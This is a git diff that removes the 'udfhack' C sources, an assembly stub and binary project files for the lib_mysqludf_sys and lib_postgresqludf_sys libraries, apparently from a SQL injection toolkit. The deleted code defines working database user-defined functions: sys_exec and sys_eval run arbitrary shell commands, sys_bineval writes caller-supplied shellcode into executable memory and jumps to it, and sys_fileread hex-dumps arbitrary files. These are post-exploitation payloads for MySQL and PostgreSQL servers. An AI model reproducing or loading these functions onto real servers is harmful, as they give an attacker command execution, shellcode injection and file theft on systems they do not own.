+0,0 @@ -/* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman - Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. - web: http://www.mysqludf.org/ - email: mysqludfs@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define DLLEXP __declspec(dllexport) -#else -#define DLLEXP -#include -#include -#include -#endif - -#ifdef STANDARD -#include -#include -#include -#ifdef __WIN__ -typedef unsigned __int64 ulonglong; -typedef __int64 longlong; -#else -typedef unsigned long long ulonglong; -typedef long long longlong; -#endif /*__WIN__*/ -#else -#include -#include -#endif -#include -#include -#include -#include - -#include - -#ifdef HAVE_DLOPEN -#ifdef __cplusplus -extern "C" { -#endif - -#define LIBVERSION "lib_mysqludf_sys version 0.0.4" - -#ifdef __WIN__ -#define SETENV(name,value) SetEnvironmentVariable(name,value); -#else -#define SETENV(name,value) setenv(name,value,1); -#endif - -DLLEXP -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -); - -DLLEXP -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_get - * - * Gets the value of the specified environment variable. - */ -DLLEXP -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_get_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_set - * - * Sets the value of the environment variables. - * This function accepts a set of name/value pairs - * which are then set as environment variables. - * Use sys_get to retrieve the value of such a variable - */ -DLLEXP -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_set_deinit( - UDF_INIT *initid -); - -DLLEXP -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_exec - * - * executes the argument commandstring and returns its exit status. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_exec_deinit( - UDF_INIT *initid -); - -DLLEXP -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_eval - * - * executes the argument commandstring and returns its standard output. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_eval_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_bineval - * - * executes bynary opcodes. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -); - -DLLEXP -void sys_bineval_deinit( - UDF_INIT *initid -); - -DLLEXP -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - - -#ifdef __cplusplus -} -#endif - -/** - * lib_mysqludf_sys_info - */ -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - my_bool status; - if(args->arg_count!=0){ - strcpy( - message - , "No arguments allowed (udf: lib_mysqludf_sys_info)" - ); - status = 1; - } else { - status = 0; - } - return status; -} - -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -){ -} - -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - strcpy(result,LIBVERSION); - *length = strlen(LIBVERSION); - return result; -} - -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count==1 - && args->arg_type[0]==STRING_RESULT){ - initid->maybe_null = 1; - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_get_deinit( - UDF_INIT *initid -){ -} - -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - char* value = getenv(args->args[0]); - if(value == NULL){ - *is_null = 1; - } else { - *length = strlen(value); - } - return value; -} - -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count!=2){ - strcpy( - message - , "Expected exactly two arguments" - ); - return 1; - } - if(args->arg_type[0]!=STRING_RESULT){ - strcpy( - message - , "Expected string type for name parameter" - ); - return 1; - } - args->arg_type[1]=STRING_RESULT; - if((initid->ptr=malloc( - args->lengths[0] - + 1 - + args->lengths[1] - + 1 - ))==NULL){ - strcpy( - message - , "Could not allocate memory" - ); - return 1; - } - return 0; -} - -void sys_set_deinit( - UDF_INIT *initid -){ - if (initid->ptr!=NULL){ - free(initid->ptr); - } -} - -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - char *name = initid->ptr; - char *value = name + args->lengths[0] + 1; - memcpy( - name - , args->args[0] - , args->lengths[0] - ); - *(name + args->lengths[0]) = '\0'; - memcpy( - value - , args->args[1] - , args->lengths[1] - ); - *(value + args->lengths[1]) = '\0'; - return SETENV(name,value); -} - -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_exec_deinit( - UDF_INIT *initid -){ -} - -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - return system(args->args[0]); -} - -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_eval_deinit( - UDF_INIT *initid -){ -} - -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - FILE *pipe; - char *line; - unsigned long outlen, linelen; - - line = (char *)malloc(1024); - result = (char *)malloc(1); - outlen = 0; - - result[0] = (char)0; - - pipe = popen(args->args[0], "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (!(*result) || result == NULL) { - *is_null = 1; - } else { - result[outlen-1] = 0x00; - *length = strlen(result); - } - - return result; -} - -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -){ - return 0; -} - -void sys_bineval_deinit( - UDF_INIT *initid -){ - -} - -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -){ - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - len = (size_t)strlen(args->args[0]); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, args->args[0], len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - strncpy((char *)addr, args->args[0], len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN64) -void __exec_payload(LPVOID); - -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __exec_payload(lpParameter); - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#endif - -#endif /* HAVE_DLOPEN */ diff --git a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj deleted file mode 100644 index 3ff4ac7b96a26a884535c525acde35a72d4fd4c6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4135 zcmeHK>u=&l5dX|c_di5dJ|wz2yurxOlOH&T3Kt4Fa+M;X#U5Z2C^t0l*h8e2EA@)< z{>Qg(+7lWj#2?3rN7<0GJ8Rekhg1!bh?~BA?Et ztHe_p50M?t=ZK^#i({w%cxh?TCHZOX4%qItJZ4N%37tWHS50% zwh?2o5E_NVJs|m-@CC#UN2&+L@1Jxkw;GLdRR}@b3hkj!;yL51NX(w6Vv?zi4yjfI zeW55hiaD0{HDkU*eUJj$#r)J_!JIAO)?(+XEf944_%IXay2 z$BuG(HfDYzMB(E3=~+&aaL2h+v(O7-;4APbi6O^+h#|M0Ml`j!U@ZwJE{YpN+)=Vc z>8gUXTDc~hYWGIxw=|{GPtOLwjDPM=$KBDSJId{)ZpO<5A!jZ` z5#u(@X&_HRu^)^{cWU>qhTV@D=>RuZ#2;bKVZ1s@%oE7AOcGIdlmw_fSW9s4QGmQJ zsC~BFr!!7OMsC+{2oDfF`mhH7c~xd~FA&#Ddcl!{j#7IqEe0eY3-Cq|v4p$uXXhTy zsK3L5e(TfV{^+a~#JNyE2Q~A|_SPK=YUb)J8DZa1xp<^NHX!bj28ea#*PLev^^VC} z^fH}8bks%tY+D0z566f#BllQRXJfJO7@0;GB7oC5-F5rnBp9+NJ`6$XNo92YPmJHnmX@NGDs)x5*^^nZ`@w^$Ee z#riq%qiylct}TpU4jh|u(G=ukWL*txY!R5Bw(Hx?EhE<0tb=c9PsO6}y@pJzf4YY3 zm6h~8@EphV?XWk0dN>r?IK(!4r}B(t?{gwa(i}=jI*J>Hx~seR+iY|X<~s9yo#M9) z@AMgobrP+_w@KMP1@ub-Jr8?wSwY1^%dwi(rc+j}rcqaG)n-FAN{xn!kFSc|tXGVR z=mB=NGNT-@$I>n_|ZzZn#Qg_U5z0x%u zbJxE1Uu(8)Dqqr#yE=85?j~HHtwP=N7dm$<_{I8+20C9v`hw2&yKsRY$UmJ!w9zpb zbMdE#!9sr^>x0HLnzqp}%!cY{rIK26OPZ>gO+(eHrdh6(4Z|*#4;dp3%igA!KAR!b Pq>1=EX%}C3;3Lr=VFP$! diff --git a/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sln b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sln deleted file mode 100644 index dd17e4693022f84e7269249553a8454c207cc088..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 933 zcmbV~%T9wp6o%I&;T zmb99tyP5N!%Xj{nua8ezx*>~-ahBEKp7182Ag-H~Fc34^)PxlvA{387#H!~+4K&Ygu8=fdSz}mZlYZ!i##StQ_RKeux~^L6)cLdH_`?&~+6;5Bjby zRLfW^=imY;l+0%(<8>|?z0fAjX8esS<3EJQgX!9GQHt4Z)ykY0b}(^#Rkv+VwQOXn zuA?K>(V-P0WJa!Kt`%7di*&;)OP7?*6DmuCpF=E`5DO1GJA77TByXyujZSG&XTliX z(u?i8BvCyG@Vv?2A4p*uLfpBv;vJ?q;dm?e?jk_|^~UevY;gaf5jO7P9Os3$!>M^< z^CkAPe4qb>Zm1zN)!@m!dKUHAdP?i=k#xN}?U%0?KjtwypT(n;xT*<0^dGKBy8R!w SEXBfz$h(fig9EnjFH7HvaUvD~ diff --git a/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c deleted file mode 100644 index 73bbac951..000000000 --- a/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ /dev/null @@ -1,277 +0,0 @@ -/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009-2010 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define _USE_32BIT_TIME_T -#define DLLEXP __declspec(dllexport) -#define BUILDING_DLL 1 -#else -#define DLLEXP -#include -#include -#include -#include -#endif - -#include -#include -#include -#include - -#include - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - -#ifdef PG_MODULE_MAGIC -PG_MODULE_MAGIC; -#endif - -char *text_ptr_to_char_ptr(text *arg) -{ - char *retVal; - int arg_size = VARSIZE(arg) - VARHDRSZ; - retVal = (char *)malloc(arg_size + 1); - - memcpy(retVal, VARDATA(arg), arg_size); - retVal[arg_size] = '\0'; - - return retVal; -} - -text *chr_ptr_to_text_ptr(char *arg) -{ - text *retVal; - - retVal = (text *)malloc(VARHDRSZ + strlen(arg)); -#ifdef SET_VARSIZE - SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); -#else - VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; -#endif - memcpy(VARDATA(retVal), arg, strlen(arg)); - - return retVal; -} - -PG_FUNCTION_INFO_V1(sys_exec); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 result = 0; - char *command; - - command = text_ptr_to_char_ptr(argv0); - - /* - Only if you want to log - elog(NOTICE, "Command execution: %s", command); - */ - - result = system(command); - free(command); - - PG_FREE_IF_COPY(argv0, 0); - PG_RETURN_INT32(result); -} - -PG_FUNCTION_INFO_V1(sys_eval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - char *command; - char *result; - FILE *pipe; - char *line; - int32 outlen, linelen; - - command = text_ptr_to_char_ptr(argv0); - - /* - Only if you want to log - elog(NOTICE, "Command evaluated: %s", command); - */ - - line = (char *)malloc(1024); - result = (char *)malloc(1); - outlen = 0; - - result[0] = (char)0; - - pipe = popen(command, "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (*result) { - result[outlen-1] = 0x00; - } - - result_text = chr_ptr_to_text_ptr(result); - - PG_RETURN_POINTER(result_text); -} - -PG_FUNCTION_INFO_V1(sys_bineval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, VARDATA(argv0), len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - PG_RETURN_INT32(1); - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - PG_RETURN_INT32(1); - - strncpy((char *)addr, VARDATA(argv0), len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - PG_RETURN_INT32(0); -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif - -#undef fopen - -PG_FUNCTION_INFO_V1(sys_fileread); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - int32 len; - int32 i, j; - char *filename; - char *result; - char *buffer; - char table[] = "0123456789ABCDEF"; - FILE *file; - - filename = text_ptr_to_char_ptr(argv0); - - file = fopen(filename, "rb"); - if (!file) - { - PG_RETURN_NULL(); - } - fseek(file, 0, SEEK_END); - len = ftell(file); - fseek(file, 0, SEEK_SET); - - buffer=(char *)malloc(len + 1); - if (!buffer) - { - fclose(file); - PG_RETURN_NULL(); - } - - fread(buffer, len, 1, file); - fclose(file); - - result = (char *)malloc(2*len + 1); - for (i=0, j=0; i> 4) & 0x0f]; - result[j++] = table[ buffer[i] & 0x0f]; - } - result[j] = '\0'; - - result_text = chr_ptr_to_text_ptr(result); - - free(result); - free(buffer); - free(filename); - - PG_RETURN_POINTER(result_text); -} diff --git a/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj deleted file mode 100644 index 037ae2f7fec0c8cfbc7f24cc001d2f5c0879e62b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4395 zcmeHLZExE)5dN$J{SSfA4=p;y@3sutEA(Pz#_T1t(xe{(1hjOv*+`^HNv_jv|9wYE zj;%Ca+zkUZpnzqN)ZLNy!h7yCc(;kdlQoEhayC>Or*-uNn9l>smP7TLvVeb1v_`Yj zRNwvh^2OkaCK(C6Gz%!d5d0(f>B|>NIl8=$VW<`)C-&R7D!#hfiq?Oq*X6=5BtoK) z&TnI$q)P$Gr!Wf^x5<4XUzeiJ-jAK3`dh2h>^U9X)*8K@skM7nOY7?mOVbps3wSG>26{!(wol@!L2A$ z%4kHw8O9;{aHystgTjG|MH1@IGKLy~y#oIZ&)O>AmCF-47eq$scKwcrJRTgpnl#Ge~$QeE8Z2hXe2L@L+ULD7!m4xFvBV zB6hxaAO;p-a?QQIO@61C2}?8VNK3nJ@9{QFo(=^RaM=HI%1Y_wC4k4ysQCPnh$W;` z;;$&fH2SPJOsVfNw*}os7mys4AU-(ul-$8FVy(nKmek$YJU&LI8OI1(bV2w1csQyq z5XBBBz(K8&XA8ioEbXDe3_>6Y{4em}dc{MTU6+DH)vQ+r&3C|fjC;=mMrk@_#K=4Z zgmgg}CSf;YeqKye?y5`HTzK>goC_}oz~o&*^?w;}9s|er$c4sRMRWX+sU@#M_b}<( z@MVj?-|3@C_e-n~f2`!r(z@P<&SLM`KP>gCvoBHU-;zMn7dR#wsk$ z0Ule-wrlrVJ-4CRJ+q^=TfMGk*1KJ;X||e9uhTS}uA8@*ic&(FJVw#dAYfxbyM_yr zu7>LA4PJ?_yV_H~tiVe4n&i*N135%Zi%Buw)A}bM0f?uxUZHxiu|kzskwF=1%zR^$ z1P7JuxBC4~ORsBs-*U9}yx!JyePn6fX2-Qgo#x1Lt$ih*IoY<7e(G$(H>l4IKNH40 zij5##8p3bllNwlz8e*9kOS&*V#!Gx4|1Jlf23ixGv*q_8- zU_$DUz>4piXWq>Cz31`$-+!iY$mh9KGAqz2S7jp5v?x<9(Nv1E;Btv3T(Dg82R{aPmTAPxbVJZI_Jo`z!Zfz(!xUJ9!k*SoK~?FMSWdR`dk^8j=Qra|N6*!4k!qzE0dOsCzYBcY}-$X{hhS zy^Y9MG)PsnMZC{Jr=`vb!LKVuvqdBA(SwTnC#FRu7pa54I1B9gHeS`Nud>q5_UKH9 zSqJ%mXPv$lzfS%W^PW4W=Uvz9`py^CU0v^Vwx0Fo^6I^WC0?<-;Ou|DZl9;kFFcYd SgT* diff --git a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm deleted file mode 100644 index 167e0ad34..000000000 --- a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm +++ /dev/null @@ -1,7 +0,0 @@ -.CODE -__exec_payload PROC x:QWORD - mov rax, x - call QWORD PTR[rax] - ret -__exec_payload ENDP -END diff --git a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c deleted file mode 100644 index 3d4600758..000000000 --- a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c +++ /dev/null @@ -1,567 +0,0 @@ -/* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman - Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. - web: http://www.mysqludf.org/ - email: mysqludfs@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define DLLEXP __declspec(dllexport) -#else -#define DLLEXP -#include -#include -#include -#endif - -#ifdef STANDARD -#include -#include -#include -#ifdef __WIN__ -typedef unsigned __int64 ulonglong; -typedef __int64 longlong; -#else -typedef unsigned long long ulonglong; -typedef long long longlong; -#endif /*__WIN__*/ -#else -#include -#include -#endif -#include -#include -#include -#include - -#include - -#ifdef HAVE_DLOPEN -#ifdef __cplusplus -extern "C" { -#endif - -#define LIBVERSION "lib_mysqludf_sys version 0.0.4" - -#ifdef __WIN__ -#define SETENV(name,value) SetEnvironmentVariable(name,value); -#else -#define SETENV(name,value) setenv(name,value,1); -#endif - -DLLEXP -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -); - -DLLEXP -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_get - * - * Gets the value of the specified environment variable. - */ -DLLEXP -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_get_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_set - * - * Sets the value of the environment variables. - * This function accepts a set of name/value pairs - * which are then set as environment variables. - * Use sys_get to retrieve the value of such a variable - */ -DLLEXP -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_set_deinit( - UDF_INIT *initid -); - -DLLEXP -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_exec - * - * executes the argument commandstring and returns its exit status. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_exec_deinit( - UDF_INIT *initid -); - -DLLEXP -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_eval - * - * executes the argument commandstring and returns its standard output. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_eval_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_bineval - * - * executes bynary opcodes. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -); - -DLLEXP -void sys_bineval_deinit( - UDF_INIT *initid -); - -DLLEXP -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - - -#ifdef __cplusplus -} -#endif - -/** - * lib_mysqludf_sys_info - */ -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - my_bool status; - if(args->arg_count!=0){ - strcpy( - message - , "No arguments allowed (udf: lib_mysqludf_sys_info)" - ); - status = 1; - } else { - status = 0; - } - return status; -} - -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -){ -} - -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - strcpy(result,LIBVERSION); - *length = strlen(LIBVERSION); - return result; -} - -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count==1 - && args->arg_type[0]==STRING_RESULT){ - initid->maybe_null = 1; - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_get_deinit( - UDF_INIT *initid -){ -} - -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - char* value = getenv(args->args[0]); - if(value == NULL){ - *is_null = 1; - } else { - *length = strlen(value); - } - return value; -} - -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count!=2){ - strcpy( - message - , "Expected exactly two arguments" - ); - return 1; - } - if(args->arg_type[0]!=STRING_RESULT){ - strcpy( - message - , "Expected string type for name parameter" - ); - return 1; - } - args->arg_type[1]=STRING_RESULT; - if((initid->ptr=malloc( - args->lengths[0] - + 1 - + args->lengths[1] - + 1 - ))==NULL){ - strcpy( - message - , "Could not allocate memory" - ); - return 1; - } - return 0; -} - -void sys_set_deinit( - UDF_INIT *initid -){ - if (initid->ptr!=NULL){ - free(initid->ptr); - } -} - -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - char *name = initid->ptr; - char *value = name + args->lengths[0] + 1; - memcpy( - name - , args->args[0] - , args->lengths[0] - ); - *(name + args->lengths[0]) = '\0'; - memcpy( - value - , args->args[1] - , args->lengths[1] - ); - *(value + args->lengths[1]) = '\0'; - return SETENV(name,value); -} - -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , 